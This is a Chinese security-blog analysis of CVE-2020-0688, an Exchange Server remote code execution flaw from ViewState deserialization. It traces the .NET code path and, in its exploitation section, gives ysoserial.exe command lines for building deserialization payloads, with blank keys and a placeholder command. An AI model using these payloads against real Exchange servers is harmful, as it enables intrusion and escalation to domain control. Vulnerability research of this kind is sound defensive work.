CVE-2020-0688 Exchange 远程代码执行分析

阅读量    437180 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

关于如何利用该漏洞,ZDI的博客中已有介绍。但是关于这个漏洞的细节还未看到有更多的披露。本篇将补充分析该漏洞的细节。

 

01. 漏洞简介

Microsoft Exchange Server是微软公司推出的一套商业电子邮件系统,因其稳定、易用、安全等特点在全球多个行业被广泛地应用。

由于Exchange Server在安装部署时未能创建应用唯一的加密密钥,导致Exchange Server在反序列化处理请求中的 __VIEWSTATE 数据触发远程代码执行。Exchange 是以SYSTEM权限启用的IIS,因此普通登录用户也可通过反序列化达到提权的目的,进而可以获取域管理的权限。漏洞基本信息

注:本篇文章仅在上述条件下调试分析

 

02. 漏洞分析

(1)消息认证码校验简述

在ASP.NET Web应用程序中通过 __VIEWSTATE 参数维持对象的ViewState视图状态。.NET Framework会对 __VIEWSTATE 参数进行加密和签名。如果启用了消息认证码(message authentication code)验证机制,则会获取相关的 machineKey 配置中的参数值去验证签名。具体机制可能会在之后的文章中补充1。其中相关的密钥一般存储在web.config或者machine.config配置文件中。

这里我们可以查看Exchange Server 2016中的配置文件进行说明,在 pages 标签中的 enableViewStateMac 属性值设置为true即启用了消息认证码验证机制。相应的配置信息则在 machineKey 标签中,其中包括验证密钥validationKey、解密密钥 decryptionKey 以及加解密算法。

<?xml version="1.0"?>
<configuration>
[...]
  <pages theme="default" validateRequest="true" enableEventValidation="false" enableSessionState="false" enableViewState="false" enableViewStateMac="true" autoEventWireup="false">
      <controls>
        <add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
        <add tagPrefix="ajaxToolkit" namespace="AjaxControlToolkit" assembly="AjaxControlToolkit" />
        <add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel" assembly="Microsoft.Exchange.Management.ControlPanel" />
        <add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel.WebControls" assembly="Microsoft.Exchange.Management.ControlPanel" />
        <add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel.Reporting" assembly="Microsoft.Exchange.Management.ControlPanel" />
        <add tagPrefix="asp" namespace="System.Web.UI.WebControls" assembly="System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
        <add tagPrefix="CsmSdk" namespace="Microsoft.Office.CsmSdk.Controls" assembly="Microsoft.Office.CsmSdk" />
      </controls>
    </pages>
[...]
<system.web>
    <machineKey validationKey="" decryptionKey="" validation="SHA1" decryption="3DES" />
</system.web>
[...]
</configuration>

(2)ViewState 反序列化过程

一般情况ASPX文件在.NET Framework下运行会生成临时的文件,以default.aspx文件为例,会生成如下图的dll,通过dnSpy反编译如下图所示。当前 default_aspx 类通过多重继承,最终继承 System.Web.dll 中 System.Web.UI 命名空间下的Page类。

在处理请求的时候会调用System.Web.dll!System.Web.UI.Page.ProcessRequestMain 方法.

//Code snippet 0
private void ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint)
{
[...]
    if (EtwTrace.IsTraceEnabled(5, 4))
    {
        EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_ENTER, this._context.WorkerRequest);
    }
    this.LoadAllState();//[0]
    if (EtwTrace.IsTraceEnabled(5, 4))
    {
        EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_LEAVE, this._context.WorkerRequest);
    }
[...]
}

在 ProcessRequestMain 方法的[0]处调用 LoadAllState 方法载入请求中的各种状态。

//Code snippet 1
private void LoadAllState()
{
    object obj = this.LoadPageStateFromPersistenceMedium();//[1]
[...]    
}

紧接着调用 LoadPageStateFromPersistenceMedium 方法[1]中的load 方法[2]。

//Code snippet 2
protected internal virtual object LoadPageStateFromPersistenceMedium()
{
    PageStatePersister pageStatePersister = this.PageStatePersister;//[3]
    try
    {
        pageStatePersister.Load();//[2]
    }
    catch (HttpException ex)
    {
        if (this._pageFlags[8])
        {
            return null;
        }
        if (this.ShouldSuppressMacValidationException(ex))//[5]
        {
            if (this.Context != null && this.Context.TraceIsEnabled)
            {
                this.Trace.Write("aspx.page", "Ignoring page state", ex);
            }
            this.ViewStateMacValidationErrorWasSuppressed = true;
            return null;
        }
        ex.WebEventCode = 3002;
        throw;
    }
    return new Pair(pageStatePersister.ControlState, pageStatePersister.ViewState);
}  

调用load方法的对象是PageStatePersister 抽象类[3],HiddenFieldPageStatePersister 实现了该抽象类。最终的反序列化在[4]处触发。

//Code snippet 3
public class HiddenFieldPageStatePersister : PageStatePersister
    {
        public HiddenFieldPageStatePersister(Page page) : base(page)
        {
        }
        public override void Load()
        {
            if (base.Page.RequestValueCollection == null)
            {
                return;
            }
            string text = null;
            try
            {
                text = base.Page.RequestViewStateString;
                if (!string.IsNullOrEmpty(text) || !string.IsNullOrEmpty(base.Page.ViewStateUserKey))
                {
                    Pair pair = (Pair)Util.DeserializeWithAssert(base.StateFormatter2, text, Purpose.WebForms_HiddenFieldPageStatePersister_ClientState);//[4]
                    base.ViewState = pair.First;
                    base.ControlState = pair.Second;
                }
            }
            catch (Exception ex)
            {
                if (ex.InnerException is ViewStateException)
                {
                    throw;
                }
                ViewStateException.ThrowViewStateError(ex, text);
            }
     }

(3)非必要的__VIEWSTATEGENERATOR参数在我进行审计代码的时发现,触发反序列化漏洞时并不需要__VIEWSTATEGENERATOR 参数。具体验证该参数的代码实现请大家参看代码片段2的[5]处。事实上,在代码片段3中触发反序列化之后会抛出异常,最后并没有执行到[6]处。

internal bool ShouldSuppressMacValidationException(Exception e)
{
    if (!EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsFromCrossPagePostbacks)
    {
        return false;
    }
    if (ViewStateException.IsMacValidationException(e))
    {
        if (EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsAlways)
        {
            return true;
        }
        if (!string.IsNullOrEmpty(this.ViewStateUserKey))
        {
            return false;
        }
        if (this._requestValueCollection == null)
        {
            return true;
        }
        if (!this.VerifyClientStateIdentifier(this._requestValueCollection["__VIEWSTATEGENERATOR"]))//[6]
        {
            return true;
        }
    }
    return false;
}

(4)利用方式

  • 通过__VIEWSTATEGENERATOR 的值(generator)生成payload
ysoserial.exe  -p ViewState -g TextFormattingRunProperties -c "command" --validationalg="SHA1" --validationkey="" --generator="" --viewstateuserkey="" --isdebug -islegacy
  • 通过应用路径(apppath)和文件路径(path)生成payload

并不是所有的aspx页面都会在response包中返回 __VIEWSTATEGENERATOR 的值,一般情况,Exchange的应用路径(apppath)和文件路径(path)是相对固定的。当然已知这两个路径以及配置信息是可以推算出generator的值2。结合web.config 配置文件中的信息和ViewState 反序列过程中的分析,针对该漏洞ecp目录下可访问的aspx文件均可达到RCE的效果。

ysoserial.exe  -p ViewState -g TextFormattingRunProperties -c "command" --validationalg="SHA1" --validationkey="" --path="" --apppath="" --viewstateuserkey="" --isdebug -islegacy

 

03. 参考引用

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多